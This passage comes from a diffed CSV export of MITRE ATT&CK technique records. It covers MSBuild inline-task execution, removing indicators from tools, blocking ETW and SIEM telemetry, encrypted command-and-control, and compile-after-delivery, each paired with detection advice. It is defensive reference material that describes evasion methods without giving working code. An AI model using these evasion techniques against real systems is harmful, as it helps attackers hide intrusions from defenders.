'https://lolbas-project.github.io/lolbas/Binaries/Msbuild/'}]",1.2,attack-pattern,attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-27T21:50:26.042Z,2021-10-15T23:57:07.973Z,MSBuild,"Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) -Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)",attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96,attack-pattern,['defense-evasion'],2021-03-05T22:25:48.777Z,2020-03-27T21:50:26.042Z,Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.,"['Process: Process Creation', 'Command: Command Execution']","['Carrie Roberts, @OrOneEqualsOne']",,,['Windows'],,,,[' .NET Framework version 4 or higher'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1027.005', 'url': 'https://attack.mitre.org/techniques/T1027/005'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1027/005,mitre-attack,T1027.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Indicator Removal from Tools,"Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. +Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)",['defense-evasion'],https://attack.mitre.org/techniques/T1127/001,mitre-attack,T1127.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['@ionstorm', 'Carrie Roberts, @OrOneEqualsOne']","['Process: Process Creation', 'Command: Command Execution']",,Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.,True,,['Windows'],,,,[' .NET Framework version 4 or higher'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/005', 'external_id': 'T1027.005'}]",1.0,attack-pattern,attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-19T21:27:32.820Z,2020-03-29T21:03:09.766Z,Indicator Removal from Tools,"Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. -A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.",attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92,attack-pattern,['defense-evasion'],2020-03-29T21:03:09.766Z,2020-03-19T21:27:32.820Z,"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",,,"['Anti-virus', 'Host intrusion prevention systems', 'Log analysis', 'Signature-based detection']",,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1562.006', 'url': 'https://attack.mitre.org/techniques/T1562/006'}, {'external_id': 'CAPEC-571', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/571.html'}, {'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A', 'description': 'Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.', 'source_name': 'Microsoft Lamin Sept 2017'}, {'source_name': 'Microsoft About Event Tracing 2018', 'url': 'https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events', 'description': 'Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.'}, {'source_name': 'Medium Event Tracing Tampering 2018', 'url': 'https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63', 'description': 'Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1562/006,mitre-attack,T1562.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Indicator Blocking,"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). +A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.",['defense-evasion'],https://attack.mitre.org/techniques/T1027/005,mitre-attack,T1027.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,"['Anti-virus', 'Host intrusion prevention systems', 'Log analysis', 'Signature-based detection']","The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/006', 'external_id': 'T1562.006'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/571.html', 'external_id': 'CAPEC-571'}, {'source_name': 'Microsoft Lamin Sept 2017', 'description': 'Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.', 'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A'}, {'source_name': 'Microsoft About Event Tracing 2018', 'description': 'Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events'}, {'source_name': 'Medium Event Tracing Tampering 2018', 'description': 'Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.', 'url': 'https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63'}]",1.0,attack-pattern,attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-19T19:09:30.329Z,2021-01-13T15:56:04.897Z,Indicator Blocking,"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations. -In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ",attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da,attack-pattern,['defense-evasion'],2021-01-13T15:56:04.897Z,2020-03-19T19:09:30.329Z,"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. +In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ",['defense-evasion'],https://attack.mitre.org/techniques/T1562/006,mitre-attack,T1562.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Rob Smith'],"['Windows Registry: Windows Registry Key Modification', 'Sensor Health: Host Status', 'Command: Command Execution']","['Anti-virus', 'Host intrusion prevention systems']","Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. -Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}","['Windows Registry: Windows Registry Key Modification', 'Sensor Health: Host Status', 'Command: Command Execution']",['Rob Smith'],"['Anti-virus', 'Host intrusion prevention systems']",,"['Windows', 'macOS', 'Linux']",,CAPEC-571,https://capec.mitre.org/data/definitions/571.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1573.002', 'url': 'https://attack.mitre.org/techniques/T1573/002'}, {'url': 'http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840', 'description': 'Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', 'source_name': 'SANS Decrypting SSL'}, {'url': 'https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html', 'description': 'Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', 'source_name': 'SEI SSL Inspection Risks'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1573/002,mitre-attack,T1573.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Asymmetric Cryptography,"Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. +Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}",True,,"['Windows', 'macOS', 'Linux']",,CAPEC-571,https://capec.mitre.org/data/definitions/571.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1573/002', 'external_id': 'T1573.002'}, {'source_name': 'SANS Decrypting SSL', 'description': 'Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', 'url': 'http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840'}, {'source_name': 'SEI SSL Inspection Risks', 'description': 'Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', 'url': 'https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:48:33.882Z,2021-04-20T19:27:46.484Z,Asymmetric Cryptography,"Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. -For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada,attack-pattern,['command-and-control'],2021-04-20T19:27:46.484Z,2020-03-16T15:48:33.882Z,"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) +For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",['command-and-control'],https://attack.mitre.org/techniques/T1573/002,mitre-attack,T1573.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) -In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1573.001', 'url': 'https://attack.mitre.org/techniques/T1573/001'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1573/001,mitre-attack,T1573.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Symmetric Cryptography,"Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.",attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41,attack-pattern,['command-and-control'],2020-03-26T21:25:37.306Z,2020-03-16T15:45:17.032Z,"With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1573/001', 'external_id': 'T1573.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:45:17.032Z,2020-03-26T21:25:37.306Z,Symmetric Cryptography,"Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.",['command-and-control'],https://attack.mitre.org/techniques/T1573/001,mitre-attack,T1573.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. -In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,,"['Linux', 'Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1573', 'url': 'https://attack.mitre.org/techniques/T1573'}, {'url': 'http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840', 'description': 'Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', 'source_name': 'SANS Decrypting SSL'}, {'url': 'https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html', 'description': 'Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', 'source_name': 'SEI SSL Inspection Risks'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1573,mitre-attack,T1573,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Encrypted Channel,"Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.",attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118,attack-pattern,['command-and-control'],2021-04-20T19:27:46.650Z,2020-03-16T15:33:01.739Z,"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'Windows', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1573', 'external_id': 'T1573'}, {'source_name': 'SANS Decrypting SSL', 'description': 'Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', 'url': 'http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840'}, {'source_name': 'SEI SSL Inspection Risks', 'description': 'Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', 'url': 'https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:33:01.739Z,2021-04-20T19:27:46.650Z,Encrypted Channel,"Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.",['command-and-control'],https://attack.mitre.org/techniques/T1573,mitre-attack,T1573,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) -In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1027.004', 'url': 'https://attack.mitre.org/techniques/T1027/004'}, {'description': 'ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.', 'url': 'https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf', 'source_name': 'ClearSky MuddyWater Nov 2018'}, {'source_name': 'TrendMicro WindowsAppMac', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/', 'description': 'Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1027/004,mitre-attack,T1027.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compile After Delivery,"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/004', 'external_id': 'T1027.004'}, {'source_name': 'ClearSky MuddyWater Nov 2018', 'description': 'ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.', 'url': 'https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf'}, {'source_name': 'TrendMicro WindowsAppMac', 'description': 'Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/'}]",1.0,attack-pattern,attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:30:57.711Z,2020-03-29T20:59:32.293Z,Compile After Delivery,"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) -Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)",attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617,attack-pattern,['defense-evasion'],2020-03-29T20:59:32.293Z,2020-03-16T15:30:57.711Z,"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.","['File: File Metadata', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution']","['Praetorian', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank']","['Signature-based detection', 'Host intrusion prevention systems', 'Anti-virus', 'Binary Analysis', 'Static File Analysis']",['User'],"['Linux', 'macOS', 'Windows']",,,,['Compiler software (either native to the system or delivered by the adversary)'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.004', 'url': 'https://attack.mitre.org/techniques/T1574/004'}, {'external_id': 'CAPEC-471', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/471.html'}, {'source_name': 'Wardle Dylib Hijack Vulnerable Apps', 'url': 'https://objective-see.com/blog/blog_0x46.html', 'description': 'Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.'}, {'source_name': 'Wardle Dylib Hijacking OSX 2015', 'url': 'https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf', 'description': 'Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.'}, {'source_name': 'Github EmpireProject HijackScanner', 'url': 'https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py', 'description': 'Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.'}, {'source_name': 'Github EmpireProject CreateHijacker Dylib', 'url': 'https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py', 'description': 'Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.'}, {'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'source_name': 'Writing Bad Malware for OSX'}, {'source_name': 'wardle artofmalware volume1', 'url': 'https://taomm.org/vol1/pdfs.html', 'description': 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.'}, 